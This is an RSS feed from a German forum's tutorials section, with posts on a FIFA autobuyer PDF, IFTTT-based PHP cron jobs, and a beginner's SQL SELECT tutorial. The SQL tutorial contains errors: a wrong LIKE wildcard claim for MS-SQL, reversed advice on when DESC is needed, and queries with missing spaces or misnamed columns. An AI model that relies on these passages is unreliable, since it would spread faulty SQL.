<?xml version="1.0" encoding="ISO-8859-1"?>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
	<channel>
		<title>U-Labs Community - Tutorials</title>
		<link>https://u-labs.de/forum/</link>
		<description />
		<language>de</language>
		<lastBuildDate>Sat, 02 May 2026 05:34:58 GMT</lastBuildDate>
		<generator>vBulletin</generator>
		<ttl>1</ttl>
		<image>
			<url>https://u-labs.de/forum/images/ulabs/misc/rss.png</url>
			<title>U-Labs Community - Tutorials</title>
			<link>https://u-labs.de/forum/</link>
		</image>
		<item>
			<title><![CDATA[[PDF-Tutorial] Mit FIFA viel Geld mit wenig Aufwand verdienen]]></title>
			<link>tutorials-107/pdf-tutorial-mit-fifa-viel-geld-mit-wenig-aufwand-verdienen-32578?goto=newpost</link>
			<pubDate>Sun, 20 Apr 2014 10:00:48 GMT</pubDate>
			<description><![CDATA[Jetzt registrieren (https://u-labs.de/forum/register.php) und in weniger als 15 Minuten mit FIFA Geld verdienen! 
 
[HIDE=2] 
Hallo, 
 
Bei Fragen...]]></description>
			<content:encoded><![CDATA[<div><div style="text-align: center;"><font size="5">Jetzt <a href="https://u-labs.de/forum/register.php" target="_blank">registrieren</a> und in weniger als 15 Minuten mit FIFA Geld verdienen!</font></div><br />
[HIDE=2]<br />
Hallo,<br />
<br />
Bei Fragen stellt sie bitte hier im Thread und schreibt mir keine PN's.<br />
<br />
Das Tutorial steht im Anhang(<a href="https://u-labs.de/forum/attachment.php?attachmentid=8061&amp;d=1411243693"  title="Name:  Autobuyer-Tutorial.pdf
Hits: 646
Größe:  349,2 KB">Autobuyer-Tutorial.pdf</a>) als PDF zum Download bereit.<br />
[/HIDE]</div>


	<div style="padding:10px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/pdf.gif" alt="Dateityp: pdf" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=8061&amp;d=1411243693">Autobuyer-Tutorial.pdf</a> 
(349,2 KB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="tutorials-107">Tutorials</category>
			<dc:creator>rVs14</dc:creator>
			<guid isPermaLink="true">tutorials-107/pdf-tutorial-mit-fifa-viel-geld-mit-wenig-aufwand-verdienen-32578</guid>
		</item>
		<item>
			<title><![CDATA[[Howto] PHP Cronjobs auch ohne Rootserver Zugriff]]></title>
			<link>tutorials-107/howto-php-cronjobs-auch-ohne-rootserver-zugriff-28861?goto=newpost</link>
			<pubDate>Mon, 23 Dec 2013 11:48:33 GMT</pubDate>
			<description>Benötigt ihr auch ab und an Server automatisierungen für eure Webseite um zum Beispiel alte Datenbankeinträge oder dergleichen löschen zu lassen und...</description>
			<content:encoded><![CDATA[<div>Benötigt ihr auch ab und an Server automatisierungen für eure Webseite um zum Beispiel alte Datenbankeinträge oder dergleichen löschen zu lassen und habt selbst nur einen einfachen Webspace ohne Root Rechte...<br />
Kein Problem.<br />
<br />
An dieser Stelle kommt <a href="https://ifttt.com" target="_blank" rel="nofollow">https://ifttt.com</a> in Spiel.<br />
<br />
Einfach ausgedrückt macht die Seite nix anderes als &quot;If then that&quot; -&gt; Wenn das passiert, mach was anderes.<br />
<br />
Zunächst benötigen wir dort einen Account.<br />
<br />
Als nächstes erstellen wir uns ein neues Rezept<br />
<a href="http://www.u-img.net/view/4992Px.png" target="_blank"><img src="http://u-img.net/img/4992Px_thumb.png" border="0" alt="" /></a><br />
<br />
Und wähen für &quot;if&quot; <b>Time/Date</b>. Dort haben wir die Möglichkeit nach Tag, Woche, Monat oder Jahr etwas machen zu lassen<br />
<a href="http://www.u-img.net/view/6071Gk.png" target="_blank"><img src="http://u-img.net/img/6071Gk_thumb.png" border="0" alt="" /></a><br />
<br />
Als nächstes wählen wir für &quot;then&quot; <b>Dropbox</b><br />
<br />
<a href="http://www.u-img.net/view/4186By.png" target="_blank"><img src="http://u-img.net/img/4186By_thumb.png" border="0" alt="" /></a><br />
<a href="http://www.u-img.net/view/4203Gt.png" target="_blank"><img src="http://u-img.net/img/4203Gt_thumb.png" border="0" alt="" /></a><br />
<br />
Da man mit der Seite nicht direkt andere Seiten aufrufen kann gibt es den kleinen Dropbox Trick.<br />
Man gibt als Downloadbare datei einfach das Ziel des Scriptes an welches ausgeführt werden soll.<br />
Dies wird dann von IFTTT angesprochen und ihr könnt damit arbeiten.<br />
<br />
Ich hoffe es ist für manche hier nützlich :)</div>

]]></content:encoded>
			<category domain="tutorials-107">Tutorials</category>
			<dc:creator>soulreafer</dc:creator>
			<guid isPermaLink="true">tutorials-107/howto-php-cronjobs-auch-ohne-rootserver-zugriff-28861</guid>
		</item>
		<item>
			<title>Einführung in SQL SELECT-Abfragen</title>
			<link>tutorials-107/einfuehrung-in-sql-select-abfragen-24423?goto=newpost</link>
			<pubDate>Sun, 16 Jun 2013 17:17:39 GMT</pubDate>
			<description>Mal wieder eine kleine Zusammenfassung für eine Arbeit. Dieses mal geht es um SELECT-Anfragen in SQL.  
Wir hatten da im Unterricht paar Tabellen zu...</description>
			<content:encoded><![CDATA[<div>Mal wieder eine kleine Zusammenfassung für eine Arbeit. Dieses mal geht es um SELECT-Anfragen in SQL. <br />
Wir hatten da im Unterricht paar Tabellen zu irgendeinem Online-Shop, deswegen nehm ich hier auch mal so was als Beispiel-Datensätze<br />
<br />
<b>customer</b><br />
<br />
<div class="cms_table"><table class="cms_table_grid" width="700"><tr valign="top" class="cms_table_grid_tr"><TD class="cms_table_grid_td"><b>customer_id</b></TD>
<TD class="cms_table_grid_td"><b>name</b></TD>
<TD class="cms_table_grid_td"><b>firstname<br />
</b></TD>
<TD class="cms_table_grid_td"><b>email</b></TD>
<TD class="cms_table_grid_td"><b>adress</b></TD>
<TD class="cms_table_grid_td"><b>zip</b></TD>
<TD class="cms_table_grid_td"><b>city</b></TD>
</tr>
<tr valign="top" class="cms_table_grid_tr"><TD class="cms_table_grid_td">1</TD>
<TD class="cms_table_grid_td">Müller</TD>
<TD class="cms_table_grid_td">Dieter</TD>
<TD class="cms_table_grid_td">dieter.mueller@gmail.com</TD>
<TD class="cms_table_grid_td">Müllerweg 1</TD>
<TD class="cms_table_grid_td">1337</TD>
<TD class="cms_table_grid_td">Müllerhausen</TD>
</tr>
<tr valign="top" class="cms_table_grid_tr"><TD class="cms_table_grid_td">2</TD>
<TD class="cms_table_grid_td">Werner</TD>
<TD class="cms_table_grid_td">Thomas</TD>
<TD class="cms_table_grid_td">thomas.werner@gmx.de</TD>
<TD class="cms_table_grid_td">Alter Weg 5</TD>
<TD class="cms_table_grid_td">1011</TD>
<TD class="cms_table_grid_td">Amsterdam</TD>
</tr>
<tr valign="top" class="cms_table_grid_tr"><TD class="cms_table_grid_td">3</TD>
<TD class="cms_table_grid_td">Maier</TD>
<TD class="cms_table_grid_td">Tom</TD>
<TD class="cms_table_grid_td">tom.maier@web.de</TD>
<TD class="cms_table_grid_td">Neuer Weg 10</TD>
<TD class="cms_table_grid_td">1102</TD>
<TD class="cms_table_grid_td">Amsterdam</TD>
</tr>
</table></div>
<br />
<b>items</b><br />
<br />
<div class="cms_table"><table class="cms_table_grid" width="700"><tr valign="top" class="cms_table_grid_tr"><TD class="cms_table_grid_td"><b>item_id</b></TD>
<TD class="cms_table_grid_td"><b>title</b></TD>
<TD class="cms_table_grid_td"><b>description</b></TD>
<TD class="cms_table_grid_td"><b>price</b></TD>
<TD class="cms_table_grid_td"><b>stock</b></TD>
</tr>
<tr valign="top" class="cms_table_grid_tr"><TD class="cms_table_grid_td">1</TD>
<TD class="cms_table_grid_td">Belina TFT Monitor 22&quot;</TD>
<TD class="cms_table_grid_td">Riesen Monitor mit FullHD Auflösung</TD>
<TD class="cms_table_grid_td">99,99</TD>
<TD class="cms_table_grid_td">10</TD>
</tr>
<tr valign="top" class="cms_table_grid_tr"><TD class="cms_table_grid_td">2</TD>
<TD class="cms_table_grid_td">Samsung Galaxy S4</TD>
<TD class="cms_table_grid_td">Samsung Galaxy S4 schwarz, 16GB internen Speicher</TD>
<TD class="cms_table_grid_td">499</TD>
<TD class="cms_table_grid_td">1337</TD>
</tr>
<tr valign="top" class="cms_table_grid_tr"><TD class="cms_table_grid_td">3</TD>
<TD class="cms_table_grid_td">Samsung Galaxy S4 Schutzfolie</TD>
<TD class="cms_table_grid_td">Schutzfolie für das Samsung Galaxy S4</TD>
<TD class="cms_table_grid_td">0,99</TD>
<TD class="cms_table_grid_td">104</TD>
</tr>
<tr valign="top" class="cms_table_grid_tr"><TD class="cms_table_grid_td">4</TD>
<TD class="cms_table_grid_td">Be quiet! 600W Netzteil</TD>
<TD class="cms_table_grid_td">Be quiet! 600W PC Netzteil mit hohem Wirkungsgrad</TD>
<TD class="cms_table_grid_td">79,99</TD>
<TD class="cms_table_grid_td">55</TD>
</tr>
</table></div>
<br />
<b>orders<br />
</b><br />
<div class="cms_table"><table class="cms_table_grid" width="700"><tr valign="top" class="cms_table_grid_tr"><TD class="cms_table_grid_td">customer_id</TD>
<TD class="cms_table_grid_td">item_id</TD>
</tr>
<tr valign="top" class="cms_table_grid_tr"><TD class="cms_table_grid_td">1</TD>
<TD class="cms_table_grid_td">2</TD>
</tr>
<tr valign="top" class="cms_table_grid_tr"><TD class="cms_table_grid_td">3</TD>
<TD class="cms_table_grid_td">4</TD>
</tr>
<tr valign="top" class="cms_table_grid_tr"><TD class="cms_table_grid_td">3</TD>
<TD class="cms_table_grid_td">1</TD>
</tr>
</table></div>
<br />
<b><font size="3">Grundwissen</font></b><br />
<br />
Eine einfache SELECT-Abfrage hat folgenden Aufbau:<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushSql.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: sql;">
SELECT spaltenname<br />
FROM tabelle;
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
SQL-Schlüsselwörter wie SELECT oder FROM scheibt man normal immer in Blockschrift. Das hat nichts damit zutun, dass SQL case-sensitive ist. Prinzipiell ist das wurst, 'select' oder 'from' wäre genau so valide. So ist es aber übersichtlicher, daher empfehle ich, die Schlüsselwörter groß zu schreiben.<br />
Möchte man alle Spalten und Datensätze einer Tabelle ausgeben, geht das am Beispiel der Kunden-Tabelle so:<br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushSql.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: sql;">
SELECT *<br />
FROM items;
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
Der Stern * ist ein Quantifizer eines Regulären Ausdrucks und ist im alltäglichen Gebrauch als Jokerzeichen bekannt geworden. Hier hat er nicht die gleiche Bedeutung wie in einem Regulären Ausdruck, sondern steht wie etwa in der Suchmaske für Dateien für jedes beliebige Zeichen. Hier steht es für den Name der Spalte und man bekommt als Ausgabe also alle Datensätze in der Tabelle:<br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=4148&amp;d=1371401137" border="0" alt="Name:  sql-select-all.png
Hits: 1673
Größe:  10,9 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
Möchte man nur bestimmte Spalten (zb Name und Vorname), gibt man diese im SELECT-Teil an:<br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushSql.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: sql;">
SELECT name, firstname<br />
FROM customer;
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
Dies würde nur die zwei Spalten Name und Vorname aller Datensätze anzeigen.<br />
Generell sollte man SELECT * vermeiden und es keinesfalls als Universal-Lösung sehen um sich das angeben der Spalten zu sparen! Da wie gesagt alle Datensätze ausgegeben werden ist dieser Befehl für die meisten Abfragen inperformant, da man meistens eben nicht alle Spalten benötigt. Der SQL-Server wird dabei stärker belastet und es entsteht overhead zwischen Fronted und Datenbankserver.<br />
<br />
<b><font size="3">Bedingungen</font></b><br />
<br />
Sollen nur bestimmte Daten angezeigt werden (zb nur Kunden aus Amsterdam), ist das in dem Beispiel noch recht einfach von Hand trennbar. Da das bei einer größeren Datenbank mit hunderttausenden Datensätzen welche Kunden vom der ganzen Erde beinhalten natürlich nicht mehr so einfach ist, kann man die Datensätze mit Bedingungen eingrenzen. Dies geschieht mittels WHERE. <br />
<br />
Syntax:<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushSql.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: sql;">
SELECT * <br />
FROM customer<br />
WHERE {Bedingung};
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
Es gibt mehrere Arten von Bedingungen. Am häufigsten verwendet man direkte Übereinstimmungen, etwa wie bei obigem Beispiel wo alle Kunden aus Amsterdam ausgegeben werden sollen:<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushSql.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: sql;">
SELECT name, firstname <br />
FROM customer<br />
WHERE city = 'Amsterdam';
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
Natürlich können auch mehrere Bedingungen mit den logischen Operatoren verknüpft werden. Möchte man zb alle Kunden die mit Nachname Werner heißen und in Amsterdam wohnen sähe die Abfrage so aus:<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushSql.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: sql;">
SELECT * <br />
FROM customer<br />
WHERE city = 'Amsterdam'<br />
AND name = 'Werner';
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
Man kann bei Strings auch Teildaten angeben. Dies braucht man häufig bei Suchfunktionen. Wenn jemand als Beispiel 'Galaxy S4' in eine Suchmaske eingibt würde bei einer Equal-Prüfung kein Artikel ausgegeben werden. Das ist natürlich nicht sehr sinnvoll, da der Kunde vermutlich das Handy oder Zubehör dafür sucht. Daher können mit LIKE Platzhalter gesetzt werden:<br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushSql.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: sql;">
SELECT *<br />
FROM items<br />
WHERE title LIKE '*Galaxy S4*';
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<font size="1"><b>Anmerkung</b>: MS-SQL verwendet * als Platzhalter, MySQL stattdessen das Prozentreichen (%).</font><br />
<br />
Diese Abfrage würde Produkt 2 und 3, also das Galaxy S4 und die Schutzfolie dazu, anzeigen. <br />
<br />
Grundsätzlich kann man in SQL alle aus anderen Programmiersprachen her bekannte Operatoren verwenden, wie AND, OR, NOT, &gt;, &lt;, &gt;=, &lt;=. <br />
<br />
<font size="3"><b>Rechnen</b></font><br />
<br />
SQL beherrscht natürlich auch die Grundrechenarten. Will man zb wissen, wie viel Mehrwertsteuer auf die Artikel zu zahlen ist, multipliziert man einfach die Spalte mit 0,19:<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushSql.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: sql;">
SELECT item_id, titel, price * 0.19 FROM items<br />
WHERE item_id = 1
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
Das Ergebnis stimmt zwar, aber der Spaltenname ist nicht gerade optimal um diesen Wert zb in einer ASP.NET oder PHP-Anwendung weiterverarbeiten zu können. MySQL setzt hier als Spaltenname price * 0.19 und MS-SQL nummeriert mit Expr durch. SQL bietet jedoch die Möglichkeit, jedem Wert einen Alias zuzuweisen:<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushSql.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: sql;">
SELECT item_id, titel,price * 0.19 AS mwst<br />
FROM items<br />
WHERE item_id = 1
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
Darüber hinaus sind noch weitere Funktionen implementiert, die dem Programmierer lästige Grundschulrechnungen ersparen:<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushSql.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: sql;">
SELECT AVG(price) as averagePrice<br />
FROM items;
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
Würde genau ein Ergebnis, nämlich den Durchschnittspreis aller Artikel liefern. Es gibt noch mehr solcher Funktionen, etwa<br />
- COUNT(column): Zählt die Datensätze der Spalte column<br />
- MAX(column): Gibt den höchsten Wert der Spalte column aus<br />
- MIN(column): Gibt den niedrigsten Wert der Spalte column aus<br />
- SUM(column): Addiert alle Werte der Spalte column<br />
<br />
Diese Funktionen fassen die Werte in einer Spalte jeweils auf unterschiedliche Art zusammen und liefern daher nur einen Wert als Ausgabe. Man nennt sie <b>Aggregatfunktion</b>. Sie sind nicht mit <b>Skalarfunktionen</b> wie zb DateDiff() zu verwechseln, die sich jeweils nur auf den Wert eines einzelnen Datensatzes beschränken.<br />
<br />
<font size="3"><b>Sortieren</b></font><br />
<br />
Gerade bei vielen Datensätzen möchte man diese sortieren. Bei den Beispieltabellen möchte man als Shopinhaber zb vor der nächsten Bestellung wissen, von welchen Artikeln am wenigsten auf Lager sind um von diesen Artikeln neue zu bestellen. Sortiert wird in SQL mit ORDER BY:<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushSql.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: sql;">
SELECT item_id, title, stock<br />
FROM items<br />
ORDER BY stock;
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=4146&amp;d=1371400931" border="0" alt="Name:  sql-order-by-asc.png
Hits: 1683
Größe:  5,5 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
Die Datensätze wurden aufsteigend nach stock sortiert. Man kann die Sortierreihenfolge natürlich auch ändern. Das macht zb Sinn, wenn man über eine Rabattaktion nachdenkt und dafür die Preise der teuersten Artikel aufgelistet haben will:<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushSql.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: sql;">
SELECT item_id, title, price<br />
FROM items<br />
ORDER BY price DESC;
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=4147&amp;d=1371400979" border="0" alt="Name:  sql-order-by-desc.png
Hits: 1649
Größe:  5,5 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
DESC ist eine Abkürzung für descending und heißt übersetzt absteigend. Lässt man DESC weg wird automatisch aufsteigend sortiert (ASC = ascending = aufsteigend). Im oberen Beispiel wo die Artikel mit den geringsten Stückzahlen aufgelistet werden sollen wäre folgende SQL-Abfrage also ebenfalls korrekt: <br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushSql.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: sql;">
SELECT item_id, title, stock<br />
FROM items<br />
ORDER BY stock ASC;
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
Da Programmierer aber generell faul sind kann man sich einfach merken: Bei absteigender Sortierung braucht man nichts weiter außer den Spaltenname anzugeben, nur bei aufsteigender Sortierung DESC. <br />
<br />
<b><font size="3">Gruppieren</font></b><br />
<br />
Manchmal macht es Sinn, Datensätze nach bestimmten Spalten zu gruppieren. In diesem Beispiel könnte man zb für eine Statistik über die Kunden ermitteln, wie viele Kunden aus welcher Stadt kommen. Das geht mit GROUP BY:<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushSql.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: sql;">
SELECT city, COUNT(*) AS customer_count<br />
FROM customer<br />
GROUP BY city;
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=4149&amp;d=1371401210" border="0" alt="Name:  sql-group-by.png
Hits: 1674
Größe:  2,6 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
Hier ist das natürlich wieder etwas unspektakulär da nur 3 Datensätze vorhanden sind. In einem Shop wo pro Tag ein paar hundert Kunden einkaufen   und am Monatsende solch eine Statistik erstellt werden soll sieht das aber schon ganz anders aus.<br />
<br />
<b>Sonderfall Aggreatfunktionen: <br />
</b>Will man eine Aggreatfunktion wie zb SUM(column) in eine Bedingung für eine Gruppierung einbinden, wird HAVING statt WHERE genutzt. Als Bedingung darf HAVING daher nur Spalten beinhalten, die in GROUP BY verwendet wurden. HAVING muss hinter GROUP BY und vor ORDER BY (falls verwendet) stehen. Da HAVING vom SQL-Server ziemlich gegen Ende abgearbeitet wird, dürfen Aliase aus dem SELECT-Teil die im WHERE-Teil nicht verwendbar sind benutzt werden. Nach HAVING kann mit den erlaubten Spalten jede normale Bedingung stehen die auch in WHERE gültig ist (AND, OR, &lt;, &gt; etc).<br />
<br />
<b>Beispiel:</b><br />
Aus dem obigen Beispiel wo die Kunden nach Stadt gruppiert werden wollen wir nur Städte anzeigen in denen mehr als 1 Kunde bestellt hat:<br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushSql.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: sql;">
SELECT city, COUNT(*) AS customer_countFROM customer<br />
GROUP BY city<br />
HAVING customer_count &gt; 1;
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<b>Ergebnis:</b><br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=4150&amp;d=1371402657" border="0" alt="Name:  group-by-having.png
Hits: 1671
Größe:  1,8 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
<br />
<b><font size="3">Joins<br />
<br />
Equal-Join</font></b><br />
Hat nichts mit Join<b>t</b>s zutun. Joins stellen Verknüpfungen zwischen mehreren Tabellen her. In diesen Beispieltabellen macht ein Join Sinn, wenn man zb den Preis der Bestellung unseres ersten Kunden (customer_id = 1) wissen möchte. In der Tabelle orders liegt die ID des Kunden (customer_id) und die ID des Produkts (item_id) vor. Ohne Joins müsste man eine SELECT-Abfrage für die item_id erstellen und anschließend eine zweite, welche über diese ID den Preis aus der items-Tabelle ausließt. Joints sei Dank ist so eine Murkserei nicht nötig:<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushSql.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: sql;">
SELECT items.price<br />
FROM items, orders<br />
WHERE orders.item_id = items.item_id<br />
AND orders.customer_id = 1;
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
Man sieht sofort zwei Unterschiede zu allen bisherigen Abfragen: Die Tabellennamen werden überall explizit genannt (items.price) und im FROM-Teil befinden sich zwei Tabellen. Die Benutzung der Tabellennamen hat den Grund, dass es öfter mal vorkommt, dass in den verwendeten Tabellen zwei oder mehr Spalten gleich heißen (zb 2x id). In dem Fall weiß der Datenbankserver logischerweise nicht, welche von beiden Tabellen man meint. Daher gibt man diese immer mit an. <br />
Die Tabellen mit denen der Join ausgeführt werden soll, werden im FROM-Teil mit Komma getrennt angegeben. Der eigentliche Join ist in diesem Fall die WHERE-Bedingung (grün). Wir wollen nur den Preis von dem Produkt, die der Kunde #1 gekauft hat. Daher müssen item_id aus der orders-Tabelle und item_id aus der items-Tabelle gleich sein. In der orders-Tabelle wollen wir nur Bestellungen von Kunde #1, daher eine zusätzliche Bedingung customer_id = 1.<br />
<br />
Die Bedingung des Joins ist sehr wichtig. Der SQL-Server ordnet jedem Datensatz der ersten Tabelle allen Datensätzen der zweiten Tabelle zu, die Eingrenzung findet nur über die Bedingung(en) des Joins statt. Verpatzt man diese, bekommt man bei einer großen Datenbank schnell mal verdammt viele Datensätze angezeigt. Im dümmsten Fall schießt man damit irgendwas ab.<br />
<br />
Um das zu demonstrieren, lasse ich die Join-Bedingung mal bewusst weg und nehme Kunde #3. Wieso? Kunde #3 hat zwei Artikel bestellt (4 und 3). <br />
Wir bekommen also 2 (Bestellungen) * 4 (Produkte in items) = 8 Datensätze: <br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=4145&amp;d=1371400855" border="0" alt="Name:  join-failed.png
Hits: 1659
Größe:  1,7 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
Dazugehörige Abfrage:<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushSql.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: sql;">
SELECT items.priceFROM items, orders<br />
WHERE orders.customer_id = 3;
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
Und das ist hier noch eine vergleichsweise kleine Tabelle. In größeren Datenbanken bekommt man da schnell mal Datenmengen die jenseits von gut und Böse sind.<br />
Es gibt auch noch mehrere Arten als den Equal-Join (zb Left-Join). Das hier ist Vordergrundmäßig eine Zusammenfassung für meine Klasse. Daher das ganze auch als Einführung und nicht als komplettes SQL-Grundwissen ansehen, denn da gehört noch mehr dazu.</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=4145&amp;stc=1&amp;d=1371400855" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=4146&amp;stc=1&amp;d=1371400931" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=4147&amp;stc=1&amp;d=1371400979" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=4148&amp;stc=1&amp;d=1371401137" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=4149&amp;stc=1&amp;d=1371401210" alt="" />&nbsp;<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=4150&amp;stc=1&amp;d=1371402657" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="tutorials-107">Tutorials</category>
			<dc:creator>DMW007</dc:creator>
			<guid isPermaLink="true">tutorials-107/einfuehrung-in-sql-select-abfragen-24423</guid>
		</item>
		<item>
			<title><![CDATA[[CSS] Eigenes Design mit Bootstrap]]></title>
			<link>tutorials-107/css-eigenes-design-mit-bootstrap-16266?goto=newpost</link>
			<pubDate>Thu, 13 Sep 2012 16:54:50 GMT</pubDate>
			<description><![CDATA[Bild: http://u-hacks.net/attachment.php?attachmentid=247&stc=1&d=1347555339  
 
 
Bild:...]]></description>
